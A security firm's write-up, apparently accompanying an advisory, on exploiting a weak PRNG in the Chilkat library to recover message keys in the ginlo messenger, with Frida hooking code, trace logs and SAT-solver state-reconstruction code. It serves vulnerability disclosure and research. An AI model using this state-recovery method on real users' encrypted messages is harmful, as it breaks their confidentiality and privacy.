Chilkat PRNG Vulnerability Impact on E2EE Messenger ginlo

A proof of concept for how the vulnerability in Chilkat’s PRNG impacted an app using it.

Introduction

Advisory X41-2024-001: Weak Chilkat PRNG details a vulnerability in the Chilkat library where a non-cryptographically secure pseudorandom number generator was used in cryptographic contexts. The pseudorandom number generator (PRNG) was exposed to users of the library as a cryptographically secure pseudorandom number generator (CSPRNG) and used throughout the library in various protocol implementations that require random data. This resulted in protocol implementations leaking parts of the state of the PRNG to other parties. If an attacker obtains enough outputs from the PRNG, they can reconstruct its state and recover secrets created with Chilkat while program utilizing the library was running.

RSA Optimal Asymmetric Encryption Padding (OAEP) is a scheme that uses random data during message encoding. Chilkat’s RSA OAEP implementation leaked part of the state of the PRNG to the recipient of each message that was encrypted using it. This post uses the end-to-end encrypted chat app ginlo as an example for how this could have been abused in a real app. For more details please see the section Encryption operation of RFC 3447.

Ginlo’s iOS app uses some cryptography APIs of the Chilkat library to generate symmetric encryption and asymmetric identity keys and for parts of the message encryption and decryption that utilize RSA OAEP. Thus, ginlo’s iOS app was impacted by the vulnerability in Chilkat’s PRNG: Attackers who received a sufficient number of messages were potentially able to recover the keys generated since the last start of the ginlo app and until its next termination. An app is either terminated by the user via the App Switcher or by the OS to free up resources for other apps. Only if ginlo was terminated, the vulnerable PRNG was reinitialized when the app was opened again.

The video below shows a proof-of-concept of the attack.

Outline

The rest of this contains the following parts of the proof of concept creation:

  • An efficient process for finding whether ginlo is affected
  • Looking at runtime behavior rather than digging through the code
  • How the attacker reconstructs the PRNG state of the other party from received messages
  • How surprisingly simple it is to solve this instance of the problem with a SAT solver
  • Use the reconstructed state to decrypt the message Alice sent to Bob

If you did not read Advisory X41-2024-001: Weak Chilkat PRNG, here is a short introduction of R250: R250 is a pseudorandom number generator that was used by Chilkat to generate random numbers, including for use in cryptographic contexts. Instead of the less secure initialization outlined in the R250 paper, Chilkat initializes R250 with output from the cryptographically secure pseudorandom number generator (CSPRNG) Fortuna. An instance of R250 has a state s of 250 32-bit integers and an index i. The next random number is generated as follows:

def rand():
    j = (i + 103) % 250
    temp = s[i] ^ s[j]
    s[i] = temp
    i = (i + 1) % 250
    return temp

Attack Overview

3 rectangles, containing Alice, Bob and Mallory. An arrow points Alice's rectangle to Mallorys. Another from Alice's rectangle to Bob's. The third arrow has a dotted line and points from Mallory's rectangle to the midpoint of the arrow pointing from Alice's to Bob's rectangle, to visualize the machine-in-the-middle capabilities. The fourth arrow points from said midpoint of the arrow from Alice's to Bob's rectangle back to Mallory.

Mallory has either

  • machine-in-the-middle (MitM) capabilities on the TLS connection between Alice and ginlo’s back-end servers or the back-end and Bob
  • or has direct access to the back-end servers.
    In this simplified instance of the attack, Alice sends at least 76 (down from 100 used in the video) messages to Mallory, after which she sends her first message to Bob. Using the messages Mallory received, she reconstructs the state of Alice’s PRNG and can calculate the AES key Alice uses to encrypt messages for Bob.

Relevant Parts of ginlo’s E2EE Protocol

To encrypt a 1-on-1 message, ginlo uses AES CBC. While AES keys are static for each chat, for each message the app correctly generates a new IV. To sign the messages, ginlo uses static RSA keys as long-term identity keys. Ginlo also uses the public part of the identity keys to encrypt the values of the IV, key and the timestamp with, once for the recipient and again for the sender.

Impact of CVE-2024-26329

Ginlo uses the Chilkat library to create the RSA identity key and the static per-chat AES keys used for message encryption. Additionally, Chilkat’s EncryptStringENC() method, which implements RSA OAEP for asymmetric encryption, uses the R250 PRNG to generate the seed for the Mask Generation Function (MGF). An MGF takes data and a length as input and uses the data to create an output of the desired length. Using this information, an attacker can reconstruct the internal state of the R250 PRNG within about 11 seconds on a consumer laptop, if they receive at least 76 consecutive messages. If the user closes the app and opens it again, the PRNG is initialized with new seeds and an attacker would have to start the attack over.

With the reconstructed state, they can recover and predict the AES keys used for message encryption for chats the app created since it was opened and until it is closed. Further, the RSA key used for asymmetric encryption and message signatures can be recovered, if the attacker manages to reconstruct the state after account creation before the user or the OS closes the app for the first time. A compromise of the RSA key allows the attacker to decrypt all messages sent and received by the victim and possibly impersonate them.

Ginlo’s Use of Chilkat

Many functions show up when searching for usage of the affected Chilkat functions in ginlo (click on genRandomBytesENC for GitHub to highlight all its other uses in that file). There are multiple functions for generating AES keys and IVs. It is not obvious which of the functions are currently in use and which are not.

By tracing calls to affected Chilkat functions with Frida, relevant usage of Chilkat by ginlo can quickly be identified without manually reading through the code. Frida is a dynamic instrumentation toolkit that allows users to analyze programs at runtime on various platforms.

Frida Tracing

Tracing the calls to ChilkatRand::randomBytes() during account creation on iOS shows that Chilkat’s PRNG is indeed used. The listing below shows excerpts of logs created with Frida. During RSA key generation with CkRsa::GenerateKey(), Rsa2::rand_prime() is called, which in turn uses ChilkatRand::randomBytes() for prime number generation:

!call randomBytes() called
 Backtrace:
  0x1053b37e0 SIMSmeCore!ChilkatRand::randomBytes(unsigned int, DataBuffer&)
  0x10550970c SIMSmeCore!Rsa2::rand_prime(mp_int&, long, LogBase&)
  0x105509ba0 SIMSmeCore!Rsa2::make_key(int, long, rsa_key&, LogBase&)
  0x1052b0c08 SIMSmeCore!ClsRsa::GenerateKey(int)
  0x105105df8 SIMSmeCore!CkRsa::GenerateKey(int)
  0x104ef3aac SIMSmeCore!0x2fbaac (0x2fbaac)
[...]
R250 table before:
           0 1  2 3  4 5  6 7  8 9  A B  C D  E F
00000000  0000 0000 0000 0000 0000 0000 0000 0000
00000010  0000 0000 0000 0000 0000 0000 0000 0000
[...]
000003e0  0000 0000 0000 0000
start of randomBytes() output:
           0 1  2 3  4 5  6 7  8 9  A B  C D  E F
00000000  a45c 9de5 e10e 9521 4f7b 3386 2cf8 00c7
00000010  2b7c 3324 9064 a1a3 d86d 5df4 6c5b eff1
R250 table after:
           0 1  2 3  4 5  6 7  8 9  A B  C D  E F
00000000  6236 6e23 a45c 9de5 e10e 9521 4f7b 3386
[...]
!call randomBytes() called
 Backtrace:
  0x1053b37e0 SIMSmeCore!ChilkatRand::randomBytes(unsigned int, DataBuffer&)
  0x10550970c SIMSmeCore!Rsa2::rand_prime(mp_int&, long, LogBase&)
  0x105509ba0 SIMSmeCore!Rsa2::make_key(int, long, rsa_key&, LogBase&)
  0x1052b0c08 SIMSmeCore!ClsRsa::GenerateKey(int)
  0x105105df8 SIMSmeCore!CkRsa::GenerateKey(int)
  0x104ef3aac SIMSmeCore!0x2fbaac (0x2fbaac)
[...]
R250 table before:
           0 1  2 3  4 5  6 7  8 9  A B  C D  E F
00000000  6236 6e23 a45c 9de5 e10e 9521 4f7b 3386
[...]
00000080  4f0c b78b febd 7265 8267 39ba b2fc 8798
00000090  bc59 6354 e874 6349 4929 df05 dbae 0ae4
000000a0  1c40 5c62 060a a941 e079 0141 0286 a148
000000b0  f8ca e440 5af0 bd02 b044 6d22 c42b fde1
[...]
start of randomBytes() output:
           0 1  2 3  4 5  6 7  8 9  A B  C D  E F
00000000  f7a3 7265 231d f7a5 91b0 be30 7f42 8967
00000010  0368 e34d 2cd2 494d ab60 9dce 2b4c 5c62
R250 table after:
           0 1  2 3  4 5  6 7  8 9  A B  C D  E F
00000000  6236 6e23 a45c 9de5 e10e 9521 4f7b 3386
[...]
00000080  4f0c b78b f7a3 7265 231d f7a5 91b0 be30
00000090  7f42 8967 0368 e34d 2cd2 494d ab60 9dce
000000a0  2b4c 5c62 e07c 362a ed7f ffa6 435a 4911
000000b0  bccc 1bdc 34d0 f3ca 6c91 ae4a 412f fde1
[...]

When sending messages, the use of GenRandomBytesENC() and EncryptStringENC() can be observed. GenRandomBytesENC(int numBytes, CkString &outStr) “[g]enerates numBytes random bytes and returns them as an encoded string. […]”. ImportPublicKey() imports a public key, to which a message (string_to_encrypt) is then encrypted using EncryptStringENC(). The message contains the IV, key, and timestamp that were used to encrypt the chat message:

!call randomBytes() called
 Backtrace:
  0x1053b37e0 SIMSmeCore!ChilkatRand::randomBytes(unsigned int, DataBuffer&)
  0x10519f540 SIMSmeCore!ClsCrypt2::GenRandomBytesENC(int, XString&)
  0x10506f87c SIMSmeCore!CkCrypt2::GenRandomBytesENC(int, CkString&)
  0x104f7440c SIMSmeCore!-[CkoCrypt2 GenRandomBytesENC:]
  0x104efd260 SIMSmeCore!0x305260 (0x305260)
[...]

!call ImportPublicKey: called
key: <RSAKeyValue><Modulus>6cTavYA+VjzDEaHI+UBMh9JKSkeeILfytZg8OYaE0nHvhjZoffoSB4AKbcvw0ANzLQQ1JFTiZvd6Bb3SN5fDL4ajqRueC8MANG+9H/DuDFgXoUDaBubzh42NGpjwBUbSt8mi2bT37LfUNc/8T6WWX29cnK1FIaJ1cQIzLvkDERvute5F6CSHxVM3khKrcn+3YkSj6/o//Q6cWDorKfDSfZY142bn+kTUnbgzJJCXj/3xeqBJ0y8n9IDFM3H3JBe8hx6J1Q+vmYib/2DcQDBji8C9Ot4tBQlsJHLage+pFFfQ9d6zNm74I+lBHUPX+M7Ob7LFh2fybQtliwqRhQDfAQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

!callEncryptStringENC:bUsePrivateKey: called
[...]
string_to_encrypt: <data name="iv">MogYr5tvk4p8NzOh6LzwQQ==</data><data name="key">/px+I8kOfOCS0FPDZtzCS8wvTC7BYAk7338POuyuasY=</data><data name="timestamp">2024-02-06 13:20:20+0100</data>

!call randomBytes() called
 Backtrace:
  0x1053b37e0 SIMSmeCore!ChilkatRand::randomBytes(unsigned int, DataBuffer&)
  0x1053b377c SIMSmeCore!ChilkatRand::randomBytes2(unsigned int, DataBuffer&, LogBase&)
  0x1054c4de0 SIMSmeCore!Pkcs1::oaep_encode(unsigned char const*, unsigned int, unsigned char const*, unsigned int, unsigned int, int, int, DataBuffer&, LogBase&)
  0x10550b578 SIMSmeCore!Rsa2::padAndEncrypt(unsigned char const*, unsigned int, unsigned char const*, unsigned int, int, int, int, rsa_key&, int, bool, DataBuffer&, LogBase&)
  0x1052b1ba8 SIMSmeCore!ClsRsa::bulkEncrypt(unsigned char const*, unsigned int, unsigned char const*, unsigned int, int, int, int, rsa_key&, int, bool, DataBuffer&, LogBase&)
  0x1052b1904 SIMSmeCore!ClsRsa::rsaEncryptBytes(DataBuffer&, bool, DataBuffer&, LogBase&)
  0x1052b5bf0 SIMSmeCore!ClsRsa::EncryptStringENC(XString&, bool, XString&)
  0x105105a68 SIMSmeCore!CkRsa::EncryptStringENC(char const*, bool, CkString&)
  0x104fd5f10 SIMSmeCore!-[CkoRsa EncryptStringENC:bUsePrivateKey:]
[...]

EncryptStringENC() uses OAEP, which is the current padding scheme used for encoding messages before they are encrypted with RSA. It works as follows:
Visualization of RSA OAEP message encoding
RSA OAEP message encoding. Rectangles are data and ellipses functions. The circle with the plus inside signifies the XOR operation. MGF is a Mask Generation Function. The Seed is generated using R250 and its length depends on the length of lHash, hLen. In this case, the size of Seed is 20 bytes. The Seed is later XORed with MGF(maskedDataBlock, hLen) to produce the maskedSeed. EM is the Encoded Message, which is what will be encrypted (encryption not pictured). DB is the Data Block. Aside from the Message, the contents of DB aren’t of interest here, but they are listed for completeness: lHash, the hash of a string Lthat is the empty string by default and can be used to authenticate data that is not encrypted; PS, a string of 0s where the length depends on the lengths of L and the Message; a byte 0x01; and finally the Message itself.

In oaep_encode(), DataBuffer::exclusiveOr() is used to XOR the seed with mgf1(maskedDataBlock):

// __int64 __fastcall Pkcs1::oaep_encode(/* ... */) {
  ChilkatRand *chilkat_rand; // x22
  unsigned int i; // w26
  LogBase *log_base; // x3
  const void *p_seed; // x24
  unsigned int seed_len; // w0
  int v85; // w21
  __int64 v86; // x6
  const void *p_maskedDB; // x24
  unsigned int maskedDB_len; // w0
  __int64 v89; // x6
  unsigned int v94; // [xsp+Ch] [xbp-174h]
  DataBuffer maskedSeed = DataBuffer::DataBuffer(maskedSeed);
  DataBuffer mgf1_of_maskedDataBlock = DataBuffer::DataBuffer(mgf1_of_maskedDataBlock);
  DataBuffer maskedDataBlock = DataBuffer::DataBuffer(maskedDataBlock);
  DataBuffer mgf1_of_Seed = DataBuffer::DataBuffer(mgf1_of_Seed);
  DataBuffer Seed = DataBuffer::DataBuffer(Seed);
  DataBuffer DataBlock = DataBuffer::DataBuffer(DataBlock);
// ...
  if ( (ChilkatRand::randomBytes2(chilkat_rand, Seed, a9, log_base) & 1) != 0 )
  {
    p_seed = DataBuffer::getData2(Seed);
    seed_len = DataBuffer::getSize(Seed);
    Pkcs1::mgf1(v94, p_seed, seed_len, v85 + ~chilkat_rand, mgf1_of_Seed, a9, v86);
    DataBuffer::exclusiveOr(maskedDataBlock, DataBlock, mgf1_of_Seed);
    p_maskedDB = DataBuffer::getData2(maskedDataBlock);
    maskedDB_len = DataBuffer::getSize(maskedDataBlock);
    Pkcs1::mgf1(v94, p_maskedDB, maskedDB_len, chilkat_rand, mgf1_of_maskedDataBlock, a9, v89);
    DataBuffer::exclusiveOr(maskedSeed, Seed, mgf1_of_maskedDataBlock);  // address 0x8cce84
    DataBuffer::appendChar(EncodedMessage, 0);
    DataBuffer::append(EncodedMessage, maskedSeed);
    DataBuffer::append(EncodedMessage, maskedDataBlock);
// ...

The value of the seed cannot be logged from within Pkcs1::oaep_encode() using Frida. Instead, DataBuffer::exclusiveOr() has to be hooked and the backtrace checked for calls from Pkcs1::oaep_encode(). For such calls, the Frida script logs the argument that contains the seed:

const databuffer_exlusiveOr_offset = 0x7deaa0;
const data_buffer_exclusiveOr_ptr = ptr(
  Module.getBaseAddress("SIMSmeCore"),
).add(databuffer_exlusiveOr_offset);
Interceptor.attach(data_buffer_exclusiveOr_ptr, {
  onEnter: function (args) {
    console.log("\n!call " + "DataBuffer::exclusiveOr()" + " called");
    this.seed = args[1];
    this.isSeed = false;
    const backtrace = Thread.backtrace(this.context, Backtracer.ACCURATE).map(
      DebugSymbol.fromAddress,
    );

    for (let i = 0; i < backtrace.length; i++) {
      // Pkcs1::oaep_decode calls DataBuffer::exclusiveOr() from an address ending in 0xe84
      // the return address on the stack is that of the next instruction, 0xe84 + 4
      if ((backtrace[i].address & 0xfff) == 0xe88) {
        this.isSeed = true;
        break;
      }
    }
  },
  onLeave: function () {
    if (this.isSeed) {
      const x = this.seed.add(0x18).readPointer().readByteArray(20);
      console.log("!seed: \n" + hexdump(x, 20), {
        length: 20,
        header: true,
        ansi: false,
      });
    }
  },
});

The logs show that the random bytes returned by ChilkatRand::randomBytes() are indeed used as the seed for RSA OAEP:

!call ImportPublicKey: called
key: <RSAKeyValue><Modulus>AL3Mz5iQ/TH8FqvPGhWxcktwfme650sJGkb6j5MB8Wb50dt4uL4ujFWB+2Iuk69A7XKyQJ+Ttv/vHXqgIgB+1huZmqEiS/3guyA8a3wZtlAnn3QaMQRDGTxShUgpT3VcZzIe/zDxh47fd4u4fvsMxlgVkQ5fad2sfPn7vhvyblZmWrDwUuP49/xQ9z/65OlVLICWf7xVLUY5EeYuNFyHDYUfPeyXvS2BpjN9MpyJIaYoCjXqtc6omnj0Q3TrSYIqjdSFUIGS3+Q56BFnn3i17uDf9d8IWb+X8+nd2JTAHSdN892ZtAGkKhGym40l9GXXyTbVtyXtmhO4mgyIyTkMz40=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

!call EncryptStringENC:bUsePrivateKey: called
string_to_encrypt: <data name="iv">1gkpecOXi7nC9waWrTwjIA==</data><data name="key">f9b26hBTV4fArtn2N0xb7n8h7FuGI2VC9CABlo4M0hM=</data><data name="timestamp">2024-02-06 13:22:50+0100</data>

!call randomBytes() called
[...]
randomBytes() output:
           0 1  2 3  4 5  6 7  8 9  A B  C D  E F
00000000  719e b51b afd2 2668 4934 e522 7392 54c8
00000010  ceb5 6f75 0100 0000 0000 0000 0000 0000
[...]
!call DataBuffer::exclusiveOr() called
!seed:
           0 1  2 3  4 5  6 7  8 9  A B  C D  E F
00000000  719e b51b afd2 2668 4934 e522 7392 54c8
00000010  ceb5 6f75

encrypted string: Dm/3w+cCJLkLP16f+AZ2CH4Y2yngv6zKU600zSyUmpBVRfKz71qdXSCDYf5ECtPwsAGlEuIgjxBvPahBDJQ86PoaxAnWUCuHXYiihmi71ZtBVOI4BxfHCf7uUeJAtCn/qCDv/9yyuyj5zfi7TmCkOB/7mxVFS+JzMaH1i06PsyMWOxQ0FGAbusaWrW22VO0DrrlXLsjpN3lKhI/aD8Hlau0QtB9WBAt3mHCCjYscQNmKD6FVSMcU98Py4vZq77iH6qjOm5n24MnsxbYi+pfJ64kww26C9UkfSA6biHoZplJ16qJzFLgzbXKrVnuq63+9liMho8RDjIW5Hj9k0Gzyhg==

Visualization of RSA OAEP message decoding
Decoding of the RSA OAEP Encoded Message, after decryption. During decoding, maskedSeed is XORed with maskedDataBlock to produce the Seed that the attacker wants to extract to gain access to the output from R250. For more details please see the section Encryption operation of RFC 3447.

When logging with Frida, it became obvious that the app caches the chat AES key after first use and thus does not run oaep_decode() on received messages. To find out how to invalidate the cache after each received message did not seem time-effective. Instead, Mallory uses the backup function of the Android app, which also exports the user’s private key, along with a traffic capture of the received messages, and does the decryption and decoding of the messages in Python. Details for that are in the files linked at the end of this post.

State Reconstruction

The most straightforward state-reconstruction attack on the R250 PRNG requires a number of consecutive outputs from the PRNG equal to its state size of 250 32-bit integers. Depending on the real-world use of the PRNG, obtaining the needed amount of consecutive outputs is unlikely.
For example, in the theoretical case of its use in a multi-user web application that provides users with random numbers as part of its functionality (e.g., via session tokens), obtained outputs are not necessarily consecutive, as outputs might be spread among multiple concurrent users.

However, the outputs of the R250 PRNG are linear combinations of each other. The XOR used to calculate the next output of the PRNG is a linear combination of the two operands. This linearity could be abused to reconstruct the state with a SAT solver if Mallory obtains enough outputs, similar to the papers I Forgot Your Password: Randomness Attacks Against PHP Applications and Practical seed-recovery for the PCG Pseudo-Random Number Generator.

SAT Solvers

SAT solvers are programs that try to solve the boolean satisfiability problem for a given input formula by determining whether there is an interpretation of its variables under which the formula evaluates to true. In that case it is satisfiable (SAT).

Some Introductory Examples

The boolean formula (a OR NOT b) is satisfiable, for example with the assignment a = true, b = true, while a AND NOT a is not satisfiable.

A slightly more complex example would be a system of linear equations:

  • 2x + y - z = 3
  • x - y/2 - 3z = -2
  • 4x - y + z = 1

This can be solved as follows:

# pip install z3-solver
>>> from z3 import *
>>> (x, y, z) = (Real('x'), Real('y'), Real('z'))
>>> solver = Solver()
>>> solver.add(2*x + y   -   z ==  3)
>>> solver.add(  x - y/2 - 3*z == -2)
>>> solver.add(4*x - y   +   z ==  1)
>>> solver.check()
sat
>>> solver.model()
[y = 46/21, x = 2/3, z = 11/21]

For those interested in SAT solvers, SAT/SMT by Example provides many more and also more challenging examples that can be worked through.

Using The SAT Solver

The output of the PRNG can be thought of as a stream of numbers r[], where the next output generated by rand() is dependent on prior entries, i.e., r[i+250] = r[i] ^ r[i+103]. In this attack scenario, Mallory knows the indices of the received and missed outputs, since

  • Alice only messages Mallory for at least 76 messages,
  • Alice’s ginlo app encrypts each message twice (once for Alice, once for Mallory) with Chilkat’s EncryptStringENC() that leaks part of the state
  • and Chilkat’s PRNG is not called by other functions between any two messages.
    That means for each message, Mallory receives 20 bytes of PRNG output as part of the seed and misses the next 20 bytes, as they are used to encrypt the message’s key for the sender’s private key.

The resulting equations that need to be provided to the solver are thus:

  1. The relationships between the outputs: r[i+250] == r[i] ^ r[i+103]
  2. The assignment of the known values to the correct positions in the stream, i.e., r[i] == recovered_rng_outputs[i] for some i.
NUM_TABLES = 400
# location of the recovered outputs in the stream of numbers
OFFSET = (NUM_TABLES - 100) * 250
def boolector_reconstruct_state_consecutive(outputs):
    """
    outputs: an array of the recovered PRNG outputs
    """
    btor = Boolector()
    btor.Set_opt(pyboolector.BTOR_OPT_MODEL_GEN, 1)
    solver_states = []
    states_tables_needed = NUM_TABLES
    bvsort32 = btor.BitVecSort(32)  # the type of the variables
    # 1. create the stream of variables
    for i in range(states_tables_needed * 250):
        solver_states.append(btor.Var(bvsort32, f"R250[{i}]"))
    # 2. teach the solver the relations between the variables
    for i in range(len(solver_states) - 250):
        btor.Assert(solver_states[i] ^ solver_states[i + 103] == solver_states[i + 250])
    # 3. insert the variables recovered from the received messages
    j = 0
    for i in range(len(outputs) * 2):
        if j >= len(outputs):
            break
        # received 5, missed 5
        if i % 10 < 5:
            btor.Assert(solver_states[i + OFFSET] == outputs[j])
            j += 1

    result = btor.Sat()
    if result == btor.SAT:
        state = [
            int(solver_states[i].assignment, 2) for i in range(states_tables_needed * 250)
        ]
        print("reconstructed state table:")
        print(state[OFFSET : OFFSET + 250])
    else:
        print("unsat")
        exit()

Verifying The SAT Solver’s Solution

While the code for this step is not particularly interesting and will not be discussed, it is important to ensure the correct solution has been found. To ensure that the found PRNG state can be advanced to a state equivalent to that of the state the PRNG on Alice’s phone had when sending the messages, multiple tests can be done:

  1. Advance the reconstructed state until it matches the first and then last state logged from Alice’s phone.
    • Given two states A and B, if rand() can advance A to be equal to B, then A and B are on the same cycle.
  2. Use the reconstructed state to guess the AES key for the message Alice sent to Bob.
  3. Use the reconstructed state to guess Alice’s RSA identity key.
    Due to time constraints, the proof of concept only includes 1 & 2. To find Alice’s RSA key, the state table used by the Chilkat library needs to be replaced at runtime after it was initialized, and then an RSA key be generated using CkRsa::GenerateKey().

Proof of Concept

The proof of concept contains instructions for how to run it.

Timeline

About X41 D-SEC GmbH

X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.

Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.